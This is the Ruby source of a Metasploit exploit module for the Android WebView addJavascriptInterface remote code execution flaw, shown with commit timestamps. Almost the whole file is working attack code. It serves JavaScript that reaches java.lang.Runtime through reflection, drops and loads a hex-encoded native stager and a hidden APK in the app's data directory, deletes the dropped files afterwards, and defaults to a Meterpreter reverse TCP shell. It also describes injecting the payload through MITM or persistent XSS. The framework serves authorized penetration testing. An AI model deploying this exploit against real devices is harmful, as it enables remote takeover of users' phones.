metasploit-framework/modules/exploits/android/browser/webview_addjavascriptinterf...

255 lines
9.6 KiB
Ruby
Raw Normal View History

2014-02-04 07:37:09 +00:00
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::BrowserExploitServer
2014-02-04 08:32:12 +00:00
include Msf::Exploit::Remote::BrowserAutopwn
# Since the NDK stager is used, arch detection must be performed
SUPPORTED_ARCHES = [ ARCH_ARMLE, ARCH_MIPSLE ] # todo: , ARCH_X86 ]
# Most android devices are ARM
DEFAULT_ARCH = ARCH_ARMLE
# Some of the default NDK build targets are named differently than
# msf's builtin constants. This mapping allows the ndkstager file
# to be looked up from the msf constant.
NDK_FILES = {
ARCH_ARMLE => 'armeabi',
ARCH_MIPSLE => 'mips'
}
autopwn_info(
:os_flavor => 'Android',
2014-02-04 08:32:12 +00:00
:javascript => true,
:rank => ExcellentRanking,
:vuln_test => %Q|
for (i in top) {
try {
top[i].getClass().forName('java.lang.Runtime');
is_vuln = true; break;
} catch(e) {}
2014-02-04 08:32:12 +00:00
}
|
)
2014-02-04 07:37:09 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution',
'Description' => %q{
2014-02-04 20:24:36 +00:00
This module exploits a privilege escalation issue in Android < 4.2's WebView component
that arises when untrusted Javascript code is executed by a WebView that has one or more
2014-02-04 08:47:49 +00:00
Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
APIs exposed by the Interface and execute arbitrary commands.
Some distributions of the Android Browser app have an addJavascriptInterface
call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs
2014-02-04 08:49:07 +00:00
4.1.2 release of Android is known to be vulnerable.
2014-02-04 08:47:49 +00:00
A secondary attack vector involves the WebViews embedded inside a large number
of Android applications. Ad integrations are perhaps the worst offender here.
2014-02-04 08:55:10 +00:00
If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS
2014-02-04 08:47:49 +00:00
into the page displayed in the WebView, then you can inject the html/js served
by this module and get a shell.
2014-02-04 07:44:39 +00:00
2014-02-04 07:37:09 +00:00
Note: Adding a .js to the URL will return plain javascript (no HTML markup).
},
'License' => MSF_LICENSE,
'Author' => [
2014-02-04 07:37:09 +00:00
'jduck', # original msf module
'joev' # static server
2014-02-04 07:37:09 +00:00
],
'References' => [
['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/'],
2014-02-04 07:37:09 +00:00
['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],
['URL', 'http://50.56.33.56/blog/?p=314'],
['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'],
['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py']
2014-02-04 07:37:09 +00:00
],
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },
'Targets' => [ [ 'Automatic', {} ] ],
'DisclosureDate' => 'Dec 21 2012',
'DefaultTarget' => 0,
'BrowserRequirements' => {
:source => 'script',
:os_flavor => 'Android'
}
2014-02-04 07:37:09 +00:00
))
end
# Hooked to prevent BrowserExploitServer from attempting to do JS detection
# on requests for the static javascript file
2014-02-04 07:37:09 +00:00
def on_request_uri(cli, req)
if req.uri =~ /\.js/
serve_static_js(cli, req)
elsif req.uri =~ /\.msg/ && req.body.to_s.length < 100
print_warning "Received message: #{req.body}"
2014-02-04 07:37:09 +00:00
else
super
2014-02-04 07:37:09 +00:00
end
end
# The browser appears to be vulnerable, serve the exploit
def on_request_exploit(cli, req, browser)
arch = normalize_arch(browser[:arch])
print_status "Serving #{arch} exploit..."
send_response_html(cli, html(arch))
end
# The NDK stager is used to launch a hidden APK
def ndkstager(stagename, arch)
localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so')
2014-03-23 16:36:26 +00:00
data = File.read(localfile, :mode => 'rb')
data.gsub!('PLOAD', stagename)
2014-02-25 00:13:18 +00:00
end
def js(arch)
2014-03-23 16:36:26 +00:00
stagename = Rex::Text.rand_text_alpha(5)
script = %Q|
function exec(runtime, cmdArr) {
var ch = 0;
var output = '';
var process = runtime.exec(cmdArr);
var input = process.getInputStream();
while ((ch = input.read()) > 0) { output += String.fromCharCode(ch); }
return output;
}
function attemptExploit(obj) {
2014-02-04 07:37:09 +00:00
// ensure that the object contains a native interface
2014-02-04 08:49:07 +00:00
try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }
2014-02-04 07:37:09 +00:00
// get the pid
var pid = obj.getClass()
.forName('android.os.Process')
.getMethod('myPid', null)
.invoke(null, null);
2014-02-04 07:37:09 +00:00
// get the runtime so we can exec
var runtime = obj.getClass()
.forName('java.lang.Runtime')
.getMethod('getRuntime', null)
.invoke(null, null);
// now ensure we can write out a hex-encoded byte with the shell's echo builtin
var byte = exec(runtime, ['/system/bin/sh', '-c', 'echo "\\\\x66"']);
if (byte.indexOf("\\\\") > -1) {
// if youre havin byte problems
var xml = new XMLHttpRequest();
// i feel bad for you son
xml.open('POST', '#{get_module_resource}.msg', false);
// i got \\x63 problems
xml.send("Unsupported shell echo builtin: exploit aborted.");
// but your shell aint one
return true;
}
// libraryData contains the bytes for a native shared object built via NDK
// which will load the "stage", which in this case is our android meterpreter stager.
// LibraryData is loaded via ajax later, because we have to access javascript in
// order to detect what arch we are running.
var libraryData = "#{Rex::Text.to_hex(ndkstager(stagename, arch), '\\\\x')}";
// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
// another stager which loads android meterpreter from the msf handler.
2014-02-25 00:13:18 +00:00
var stageData = "#{Rex::Text.to_hex(payload.raw, '\\\\x')}";
2014-02-04 20:24:36 +00:00
2014-02-04 07:37:09 +00:00
// get the process name, which will give us our data path
// $PPID does not seem to work on android 4.0, so we concat pids manually
var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
2014-02-25 00:13:18 +00:00
var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
2014-03-23 16:36:26 +00:00
var stagePath = path + '/#{stagename}.apk';
2014-02-25 00:13:18 +00:00
// build the library and chmod it
runtime.exec(['/system/bin/sh', '-c', 'echo "'+libraryData+'" > '+libraryPath]).waitFor();
runtime.exec(['chmod', '700', libraryPath]).waitFor();
// build the stage, chmod it, and load it
runtime.exec(['/system/bin/sh', '-c', 'echo "'+stageData+'" > '+stagePath]).waitFor();
runtime.exec(['chmod', '700', stagePath]).waitFor();
2014-02-04 07:37:09 +00:00
// load the library (this fails in x86, figure out why)
2014-02-25 00:13:18 +00:00
runtime.load(libraryPath);
// delete dropped files
2014-03-23 16:36:26 +00:00
runtime.exec(['rm', stagePath]).waitFor();
2014-03-23 17:00:29 +00:00
runtime.exec(['rm', libraryPath]).waitFor();
2014-02-04 07:37:09 +00:00
return true;
}
for (i in top) { if (attemptExploit(top[i]) === true) break; }
2014-02-04 07:37:09 +00:00
|
# remove comments and empty lines
script.gsub(/\/\/.*$/, '').gsub(/^\s*$/, '')
end
# Called when a client requests a .js route.
# This is handy for post-XSS.
def serve_static_js(cli, req)
arch = req.qstring['arch']
response_opts = { 'Content-type' => 'text/javascript' }
if arch.present?
print_status("Serving javascript for arch #{normalize_arch arch}")
send_response(cli, js(normalize_arch arch), response_opts)
else
print_status("Serving arch detection javascript")
send_response(cli, static_arch_detect_js, response_opts)
end
end
# This is served to requests for the static .js file.
# Because we have to use javascript to detect arch, we have 3 different
# versions of the static .js file (x86/mips/arm) to choose from. This
# small snippet of js detects the arch and requests the correct file.
def static_arch_detect_js
%Q|
var arches = {};
arches['#{ARCH_ARMLE}'] = /arm/i;
arches['#{ARCH_MIPSLE}'] = /mips/i;
arches['#{ARCH_X86}'] = /x86/i;
var arch = null;
for (var name in arches) {
if (navigator.platform.toString().match(arches[name])) {
arch = name;
break;
}
}
if (arch) {
// load the script with the correct arch
var script = document.createElement('script');
script.setAttribute('src', '#{get_uri}/#{Rex::Text::rand_text_alpha(5)}.js?arch='+arch);
script.setAttribute('type', 'text/javascript');
// ensure body is parsed and we won't be in an uninitialized state
setTimeout(function(){
var node = document.body \|\| document.head;
node.appendChild(script);
}, 100);
}
|
end
# @return [String] normalized client architecture
def normalize_arch(arch)
if SUPPORTED_ARCHES.include?(arch) then arch else DEFAULT_ARCH end
2014-02-04 07:37:09 +00:00
end
def html(arch)
"<!doctype html><html><body><script>#{js(arch)}</script></body></html>"
2014-02-04 07:37:09 +00:00
end
end